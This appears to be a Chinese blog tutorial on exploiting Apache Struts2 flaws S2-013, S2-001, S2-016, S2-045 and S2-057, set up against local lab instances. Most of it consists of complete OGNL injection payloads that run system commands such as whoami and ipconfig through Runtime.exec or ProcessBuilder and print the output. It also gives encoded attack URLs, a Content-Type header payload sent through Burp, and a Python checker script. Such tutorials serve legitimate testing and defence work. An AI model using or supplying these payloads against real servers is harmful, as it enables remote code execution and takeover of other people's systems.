Struts框架漏洞
Struts框架漏洞
Struts-S2-013漏洞利用
不妨先来看下index.jsp中标签是怎么设置的
<p><s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a></p>
<p><s:url id="link2" action="link" includeParams="all">"s:url" tag</s:url></p>
然后来测试一下最简单payload ${1+1}
(记得编码提交 :)
http://localhost:8888/link.action?a=%24%7B1%2b1%7D
就可以看到返回的url中的参数已经被解析成了2
查询whoami
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
更改网址后的
%24%7B(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%7D
Struts-S2-001漏洞利用
五、 POC:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
六、 测试网址:
将POC粘到一个输入框,点击Submit,此后会将数据提交到后端,后端检测值是否为空,然后返回,满足漏洞前提
执行结果:
执行ipconfig命令时还是出现只能输出第一行,老问题,因为写的时候没有安装漏洞的顺序写,解决方法在后面有提及,简单来说就是修改e大小,重复#d.read(#e), #f.getWriter().println(new java.lang.String(#e))
七、 修改后POC
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "ipconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)), #d.read(#e),#f.getWriter().println(new java.lang.String(#e)),#d.read(#e),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
八、执行结果
Struts-S2-016漏洞利用
poc:
?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
原始网址:
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action
修改之后网址:
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
七、执行结果
执行结果,有下载文件,下载并用notepad++打开看到结果
Struts-S2-045漏洞利用
poc:
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
用docker搭建好环境后,访问,是这个界面
随便选择个文件,上传,用burp抓包
然后Repeater,只需要更改Content-Type的值,就可实现远程代码执行
附上一个检测POC
#!/usr/bin/env python #coding:utf8 #code by fuck@0day5.com import sys import requests requests.packages.urllib3.disable_warnings()def poccheck(url):result = Falseheader = {'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36','Content-Type':"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}"}try:response = requests.post(url,data='',headers=header,verify=False,allow_redirects = False)if response.content.find("88866777")!=-1:result = url+" find struts2-45"except Exception as e:print str(e)passreturn resultif __name__ == '__main__':if len(sys.argv) == 2:print poccheck(sys.argv[1])sys.exit(0)else:print ("usage: %s http://www.baidu.com/vuln.action" % sys.argv[0])sys.exit(-1)
Struts-S2-057漏洞利用
在url处输入http://IP:8080/struts2-showcase/${(123+123)}/actionChain1.action后刷新可以看到中间数字位置相加了。
修改中间${(123+123)}位置的payload替换用代码执行编写成命令执行的exp,这一步使用burp抓包修改可以直观的看到结果
Payload: //注:payload需要使用url编码
抓包发送到Repeater(重放)模块,在url加上url编码的paylaod,然后发送即可在头部看到回显结果
Struts框架漏洞相关推荐
- 开源框架 Apache Struts 2漏洞的 PoC 已公开
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 上周五,GitHub平台上出现了两个 Apache Struts 2 漏洞的PoC,可导致远程代码执行和拒绝服务攻击. 美国网络安全和 ...
- 互联网惨遭Struts高危漏洞摧残
从7.17号开始,乌云网(www.wooyun.org)开始爆各大网站的struts漏洞. 关于Struts Struts 框架是Apache基金会Jakarta项目组的一个 Open Source项 ...
- 速修复!这个严重的 Apache Struts RCE 漏洞补丁不完整
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士团队 专栏·供应链安全 数字化时代,软件无处不在.软件如同社会中的"虚拟人",已经成为支撑社会正常运转的最基本元素之一,软件的 ...
- Struts2框架漏洞总结与复现(上) 含Struts2检测工具
Struts2框架漏洞总结与复现 1.Struts2复现准备 2.Struts2框架漏洞复现 2.1.S2-001漏洞复现 2.1.1.漏洞原理 2.1.2.影响版本 2.1.3.手工复现 2.1.3 ...
- 渗透测试-ThinkPHP框架漏洞总结
ThinkPHP框架漏洞总结 文章目录 ThinkPHP框架漏洞总结 前言 Thinkphp简介 Thinkphp本地安装 Thinkphp本地复现 验证poc 写入一句话 Vulhub-Thinkp ...
- java 框架漏洞网站_在分层架构下寻找java web漏洞
web开发应用程序(网站),是目前应用最广泛的程序.但是开发者的水平参差不齐,导致了各种各样web漏洞的出现.本文站在分层架构的角度,分析一下如何在java web程序中找到可能出现的种种漏洞. 本文 ...
- struts(三)——struts框架实现登录示例
前两篇讲解了struts框架的基本实现,自己感觉讲的也有些枯燥,今天拿登录的例子来做一个实现. 1.新建一个javaweb项目,并将struts的jar包拷贝到WebRoot/WEB-INF/lib下 ...
- Struts框架的入门使用
1.struts框架的使用 导入jar包 1.commons-fileupload-1.2.jar 2. freemarker-2.3.15.jar 3.ognl-2.7.3.jar 4.struts ...
- java 详解 搭建 框架_在Eclipse中搭建Struts框架过程详解
虽然用MyEclipse搭建Struts框架是更为便捷的方式,但是用Eclipse可以增强自己对Struts的理解.本文演示了使用Eclipse搭建Struts 1.2框架的过程.此项目实现了简单的功 ...
最新文章
- SQL Server中灾难时备份结尾日志(Tail of log)的两种方法
- 【Applet编写应用小程序】Applet类APIの基本知识和第一个程序
- vector容器与find算法
- Machine Schedule
- Maven最佳实践 划分模块 配置多模块项目 pom modules
- 田忌赛马c语言程序设计,还是杭电1052田忌赛马
- 怎么查这个文件在linux下的哪个目录
- 工作235:splice
- 前端学习(1385):多人管理项目5抽离
- 玩转运维编排服务的权限:Assume Role+Pass Role
- 电子围栏原理解析---原理
- 【李宏毅机器学习】02:回归Regression
- 基础知识及命令(1)
- const VS readonly
- dhdas信号测试分析系统软件,基于DHDAS动态信号采集分析系统的折叠舵面模态试验探究...
- R语言混合效应(多水平/层次/嵌套)模型及贝叶斯实现技术
- 趣味小游戏——井字棋
- 最高百万年薪,全国多家知名互联网/游戏公司热招 Cocos 人才丨9月岗位
- 基于L2Dwidget动态漫画人物js特效
- CPU发展史和相关品牌介绍
热门文章
- 昨天去做地推,在路上看见了这么繁茂的仙人掌
- python如何使用geotools_ArcGIS工具之ET GeoWizards、GeoTools、GeoTools
- ###数字不同数之和###python123
- 洗车店小程序开发设计(微信同城预约洗车源码搭建费用)
- 【19调剂】其它调剂信息(计算机/软件专业)【3.56】
- 怎么做好电商运营?40份电商运营表格模板,你离优秀的运营只差了一个表格
- 赤道子午线弧长反演大地纬度
- 经典过桥问题的思路解析
- python圆周率后100位_Python实现计算圆周率π的值到任意位的方法示例
- 【MySQL】MySQL建表与常见类型设计陷阱(MySQL专栏启动)